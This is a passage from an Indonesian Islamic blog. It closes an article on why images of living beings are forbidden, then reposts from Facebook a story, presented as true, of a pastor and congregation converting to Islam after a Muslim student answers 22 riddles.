    3. Dalil-dalil juga mengecualikan bolehnya menggunakan gambar-gambar bernyawa jika dia tidak dipasang atau digantung atau dengan kata lain dia direndahkan dan dihinakan. Ini berdasarkan hadits Aisyah yang akan datang, dimana Nabi shallallahu alaihi wasallam mengizinkan Aisyah membuat bantal dari kain yang bergambar, padahal gambar tersebut menyerupai ciptaan Allah.
    4. Ketiga alasan di atas menghantarkan kita kepada alasan yang keempat yaitu tidak mungkinnya kita memahami hadits Aisyah di atas dengan pemahaman bahwa alasan diharamkannya gambar hanya karena dia menyerupai ciptaan Allah semata. Akan tetapi kita harus memahaminya dengan makna ‘penyerupaan’ yang lebih khusus, yaitu menyerupakan Allah dengan makhluk yang dia gambar tersebut. Ini bisa kita lihat dari kalimat: يُشَبِّهُونَ بِخَلْقِ اللَّهِ Hal itu karena orang-orang Arab tidak pernah mengikutkan huruf ‘ba’ pada maf’ulun bihi (objek). Akan tetapi mereka hanya menggunakan susunan kalimat seperti ini jika pada kalimat tersebut terdapat maf’ulun bih baik disebutkan seperti pada kalimat: كسرْتُ بالزجاجةِ رأسَه (aku memecahkan kepalanya dengan kaca) maupun jika dia dihilangkan seperti pada hadits Aisyah di atas: يُشَبِّهُونَ بِخَلْقِ اللَّهِ, dimana kalimat lengkapnya (taqdirnya) -wallahu a’lam- adalah: الذين يشبهون الله بخلق الله (mereka yang menyerupakan Allah dengan makhluk Allah) yakni dia juga menyerahkan ibadah kepada gambar tersebut sebagaimana dia beribadah kepada Allah, atau dengan kata lain dia berbuat kesyirikan kepada Allah bersama gambar-gambar tersebut.
    Makna inilah yang ditunjukkan dalam hadits-hadits ada seperti hadits Ibnu Mas’ud yang tersebut pada illat pertama di atas, dimana penggambar disifati sebagai manusia yang paling keras siksaannya. Dan sudah dimaklumi bahwa manusia yang paling keras siksaannya adalah kaum kafir dan orang-orang musyrik.
    Juga hadits Aisyah radhiallahu anha dia berkata: Rasulullah shallallahu alaihi wasallam bersabda tentang gambar-gambar yang ada di gereja Habasyah:
    إِنَّ أُولَئِكَ إِذَا كَانَ فِيهِمْ الرَّجُلُ الصَّالِحُ فَمَاتَ بَنَوْا عَلَى قَبْرِهِ مَسْجِدًا وَصَوَّرُوا فِيهِ تِلكَ الصُّوَرَ فَأُولَئِكَ شِرَارُ الْخَلْقِ عِنْدَ اللَّهِ يَوْمَ الْقِيَامَةِ
    “Mereka (ahli kitab), jika ada seorang yang saleh di antara mereka meninggal, mereka membangun masjid di atas kuburnya dan mereka menggambar gambar-gambar itu padanya. Merekalah makhluk yang paling jelek di sisi Allah pada hari kiamat.” (HR. Al-Bukhari no. 427 dan Muslim no. 528)
    Dan tentunya manusia yang paling jelek adalah orang-orang kafir dan musyrik.
    Juga hadits Abu Hurairah radhiallahu anhu dia berkata: Saya mendengar Nabi shallallahu alaihi wasallam bersabda:
    قَالَ اللَّهُ عَزَّ وَجَلَّ وَمَنْ أَظْلَمُ مِمَّنْ ذَهَبَ يَخْلُقُ كَخَلْقِي فَلْيَخْلُقُوا بَعُوضَةً أَوْ لِيَخْلُقُوا ذَرَّةً
    “Allah Azza wa Jalla berfirman, “Siapakah yang lebih zhalim daripada orang yang berkehendak mencipta seperti ciptaan-Ku. Kenapa mereka tidak menciptakan lalat atau kenapa mereka tidak menciptakan semut kecil (jika mereka memang mampu)?!” (HR. Al-Bukhari no. 5953, Muslim no. 2111, Ahmad, dan ini adalah lafazhnya)
    Maksud hendak mencipta seperti ciptaan-Ku adalah: Bermaksud menandingi sifat penciptaan Allah, dan ini jelas merupakan kesyirikan dalam rububiah, karenanya dia dikatakan sebagai makhluk yang paling zhalim karena kesyirikan adalah kezhaliman yang paling besar. Adapun bermaksud menyerupai makhluk tanpa bermaksud menyerupai sifat penciptaan, maka hal itu tidak termasuk dalam hadits ini.
    Kesimpulannya: Illat (sebab) diharamkannya gambar hanya terbatas pada dua perkara yang disebutkan pertama. Adapun karena menyerupai ciptaan Allah, maka tidak ada dalil tegas yang menunjukkan dia merupakan sebab terlarangnya menggambar, wallahu a’lam.
    Sekian dulu Pengetahuan baru untuk kita hari ini...bag.2 akan berlanjut pada postingan berikutnya
    dari sini
    sumbernya
    Read More

    Selasa, 13 September 2011

    Kisah Satu Gereja Masuk Islam


    Satu gereja masuk Islam benarkah...???
    Mari kita sama2 simak Cerita di bawah ini
    Semoga ALLAH mengijinkan kita menjadi pemuda seperti beliau,
    Amiiin.....
    Kisah Nyata Seorang Pemuda Arab Yang Menimba Ilmu Di Amerika Rabu, 22
    Februari 2006

    Ada seorang pemuda arab yang baru saja me-nyelesaikan bangku kuliahnya di Amerika.Pemuda ini adalah salah seorang yang diberi nikmat oleh Allah berupa pendidikan agama Islam bahkan ia mampu mendalaminya. Selain belajar, ia juga seorang juru dakwah Islam. Ketika berada di Amerika, ia berkenalan dengan salah seorang Nasrani.Hubungan mereka semakin akrab, dengan harapan semoga Allah SWT memberinya hidayah masuk Islam.

    Pada suatu hari mereka berdua berjalan-jalan di sebuah perkampungan di Amerika dan melintas di dekat sebuah gerejayang terdapat di kampung tersebut.Temannya itu meminta agar ia turut masuk ke dalam gereja. Semula ia berkeberatan, namun karena ia terus mendesak akhirnya pemuda itupun memenuhi permintaannya lalu ikut masuk ke dalam gereja dan duduk di salah satu bangku dengan hening, sebagaimana kebiasaan mereka.

    Ketika pendeta masuk, mereka serentak berdiri untuk memberikan penghormatan lantas kembali duduk. Di saat itu si pendeta agak terbelalak ketika melihat kepada para hadirin dan berkata, "Di tengah kita ada seorang muslim. Aku harap ia keluar dari sini."
    Pemuda arab itu tidak bergeming dari tempatnya. Pendeta tersebut mengucapkan perkataan itu berkali-kali, namun ia tetap tidak bergeming dari tempatnya.
    Hingga akhirnya pendeta itu berkata,
    "Aku minta ia keluar dari sini dan aku menjamin keselamatannya."
    Barulah pemuda ini beranjak keluar. Di ambang pintu ia bertanya kepada sang pendeta,
    "Bagaimana anda tahu bahwa saya seorang muslim."
    Pendeta itu menjawab, "Dari tanda yang terdapat di wajahmu."
    Kemudian ia beranjak hendak keluar,namun sang pendeta ingin memanfaatkan
    keberadaan pemuda ini, yaitu dengan mengajukan beberapa pertanyaan,
    tujuannya untuk memojokkan pemuda tersebut dan sekaligus mengokohkan
    markasnya.
    Pemuda muslim itupun menerima tantangan debat tersebut.

    Sang pendeta berkata,
    "Aku akan mengajukan kepada anda 22 pertanyaan dan anda harus menjawabnya dengan tepat."
    Si pemuda tersenyum dan berkata,
    "Silahkan!

    Sang pendeta pun mulai bertanya,
    # a.. Sebutkan satu yang tiada duanya,

    # b.. dua yang tiada tiganya,

    # c.. tiga yang tiada empatnya,

    d. empat yang tiada limanya,

    # e.. lima yang tiada enamnya,

    # f.. enam yang tiada tujuhnya,

    # g.. tujuh yang tiada delapannya,

    # h.. delapan yang tiada sembilannya,

    # i.. sembilan yang tiada sepuluhnya,

    # j.. sesuatu yang tidak lebih dari sepuluh,

    # k.. sebelas yang tiada dua belasnya,

    # l.. dua belas yang tiada tiga belasnya,

    # m.. tiga belas yang tiada empat belasnya.

    # n.. Sebutkan sesuatu yang dapat bernafas namun tidak mempunyai ruh!

    # o.. Apa yang dimaksud dengan kuburan berjalan membawa isinya?

    # p.. Siapakah yang berdusta namun masuk ke dalam surga?

    # q.. Sebutkan sesuatu yang diciptakan Allah namun Dia tidak menyu-
    kainya?

    # r.. Sebutkan sesuatu yang diciptakan Allah dengan tanpa ayah dan
    ibu!

    # s.. Siapakah yang tercipta dari api, siapakah yang diadzab dengan
    apidan siapakah yang terpelihara dari api?

    # t.. Siapakah yang tercipta dari batu, siapakah yg diadzab dengan
    batu dan siapakah yang terpelihara daribatu?

    # u.. Sebutkan sesuatu yang diciptakan Allah dan dianggap besar!

    # v.. Pohon apakah yang mempu-nyai 12 ranting, setiap ranting
    mempunyai 30 daun, setiap daun mempunyai 5 buah, 3 di bawah naungan
    dan dua di bawah sinaran matahari?"

    Mendengar pertanyaan tersebut pemuda itu ter-senyum dengan
    senyuman mengandung keyakinan kepada Allah. Setelah membaca basmalah
    ia berkata,
    # s.. Satu yang tiada duanya ialah Allah SWT.

    # b.. Dua yang tiada tiganya ialah malam dan siang. Allah SWT
    berfirman, "Dan Kami jadikan malam dan siang sebagai dua tanda
    (kebesaran kami)." (Al-Isra':12) .

    # c.. Tiga yang tiada empatnya adalah kekhilafan yang dilakukan Nabi Musa ketika Khidir menenggelamkan sampan, membunuh seorang anak kecil dan ketika menegakkan kembali dinding yang hampir roboh.

    # d.. Empat yang tiada limanya adalah Taurat, Injil, Zabur dan Al-Qur'an.

    # e.. Lima yang tiada enamnya ialah shalat lima waktu.

    # f.. Enam yang tiada tujuhnya ialah jumlah hari ke-tika Allah SWT menciptakan makhluk.

    # g..Tujuh yang tiada delapannya ialah langit yang tujuh lapis. Allah SWT berfirman, "Yang telah menciptakan tujuh langit berlapis-lapis. Kamu sekali-kali tidak melihat pada ciptaan Rabb Yang Maha Pemurah sesuatu yang tidak seimbang." (Al-Mulk:3).

    # h.. Delapan yang tiada sembilannya ialah malaikat pemikul Arsy ar-Rahman. Allah SWT berfirman,"Dan malaikat-malaikat berada dipenjuru-penjuru langit. Dan pada hari itu delapan orang malaikat menjunjung 'Arsy Rabbmu di atas(kepala) mereka." (Al-Haqah: 17).

    # i.. Sembilan yang tiada sepuluhnya adalah mu'jizat yang diberikan kepada Nabi Musa : tongkat, tangan yang bercahaya, angin topan, musim paceklik, katak, darah, kutu dan belalang dan *

    # j.. Sesuatu yang tidak lebih dari sepuluh ialah ke-baikan. Allah SW berfirman, "Barangsiapa yang berbuat kebaikan maka untuknya sepuluh kali lipat." (Al-An'am: 160).

    # k.. Sebelas yang tiada dua belasnya ialah jumlah saudara-saudara Yusuf.

    # l.. Dua belas yang tiada tiga belasnya ialah mu'jizat Nabi Musa yang terdapat dalam firman Allah, "Dan (ingatlah) ketika Musa memohon air untuk kaumnya, lalu Kami berfirman, 'Pukullah batu itu dengan tongkatmu.' Lalu memancarlah dari padanya dua belas mata air." (Al-Baqarah: 60).

    # m.. Tiga belas yang tiada empat belasnya ialah jumlah saudara Yusuf ditambah dengan ayah dan ibunya.

    # n.. Adapun sesuatu yang bernafas namun tidak mempunyai ruh adalah waktu Shubuh. Allah SWT ber-firman, "Dan waktu subuh apabila fajarnya mulai menyingsing. " (At-Takwir:18).

    # o.. Kuburan yang membawa isinya adalah ikan yang menelan Nabi Yunus AS.

    # p.. Mereka yang berdusta namun masuk ke dalam surga adalah saudara-saudara Yusuf, yakni ketika mereka berkata kepada ayahnya,"Wahai ayah
    kami, sesungguhnya kami pergi berlomba-lomba dan kami tinggalkan Yusuf di dekat barang-barang kami,lalu dia dimakan serigala." Setelah kedustaan terungkap, Yusuf berkata kepadamereka, " tak ada cercaaan ter-hadap kalian." Dan ayah mereka Ya'qub berkata, "Aku akan memohonkan ampun bagimu kepada Rabbku. Sesungguhnya Dia-lah Yang Maha Pengampun lagi Maha Penyayang."

    # q.. Sesuatu yang diciptakan Allah namun tidak Dia sukai adalah suara keledai. Allah SWT berfirman, "Sesungguhnya sejelek-jelek suara adalah suara keledai." (Luqman: 19).

    # r.. Makhluk yang diciptakan Allah tanpa bapak dan ibu adalah Nabi Adam, malaikat, unta Nabi Shalih dan kambing Nabi Ibrahim.

    # s.. Makhluk yang diciptakan dari api adalah Iblis, yang diadzab dengan api ialah Abu Jahal dan yang terpelihara dari api adalah Nabi Ibrahim. Allah SWT berfirman, "Wahai api dinginlah dan selamatkan Ibrahim." (Al-Anbiya': 69).

    # t.. Makhluk yang terbuat dari batu adalah unta Nabi Shalih, yang diadzab dengan batu adalah tentara bergajah dan yang terpelihara dari batu adalah Ash-habul Kahfi (penghuni gua).

    # u.. Sesuatu yang diciptakan Allah dan dianggap perkara besar adalah tipu daya wanita, sebagaimana firman Allah SWT, "Sesungguhnya tipu daya kaum wanita itu sangatlah besar." (Yusuf: 2Cool.

    # v.. Adapun pohon yang memiliki 12 ranting setiap ranting mempunyai 30 daun, setiap daun mempunyai 5 buah, 3 di bawah teduhan dan dua di bawah sinaran
    matahari maknanya: Pohon adalah tahun, ranting adalah bulan, daun adalah hari dan buahnya adalah shalat yang lima waktu, tiga dikerjakan di malam hari dan dua di siang hari.

    Pendeta dan para hadirin merasa takjub mende-ngar jawaban pemuda muslim tersebut.Kemudian ia pamit dan beranjak hendak pergi. Namun ia mengurungkan niatnya dan meminta kepada pendeta agar menjawab satu pertanyaan saja. Permintaan ini disetujui oleh sang pendeta.
    Pemuda ini berkata, "Apakah kunci surga itu?"
    mendengar pertanyaan itu lidah sang pendeta menjadi kelu, hatinya diselimuti keraguan dan rona wajahnya pun berubah. Ia berusaha menyembunyikan kekhawatirannya, namun hasilnya nihil. Orang-orang yang hadir di gereja itu terus mendesaknya agar menjawab pertanyaan tersebut, namun ia berusaha mengelak.

    Mereka berkata,
    "Anda telah melontarkan 22 pertanyaan kepadanya dan semuanya ia jawab
    sementara ia hanya memberimu satu pertanyaan namun anda tidak mampu
    menjawabnya! "
    Pendeta tersebut berkata,
    "Sungguh aku mengetahui jawaban dari pertanyaan tersebut, namun aku
    takut kalian marah. " Mereka menjawab, "Kami akan jamin keselamatan anda."
    Sang pendeta pun berkata, "Jawabannya ialah: Asyhadu an La Ilaha Illallah wa anna Muhammadar Rasulullah."

    Lantas sang pendeta dan orang-orang yang hadir di gereja itu memeluk agama Islam. ALLAHU AKBAR! Sungguh Allah telah menganugrahkan kebaikan dan menjaga mereka dengan Islam melalui tangan seorang pemuda muslim yang bertakwa.***
    ==MASYA ALLAH==
    Sumber = dari FACEBOOK
    Read More

    Looking Previus Comment Here

    How do you think of my blog ...???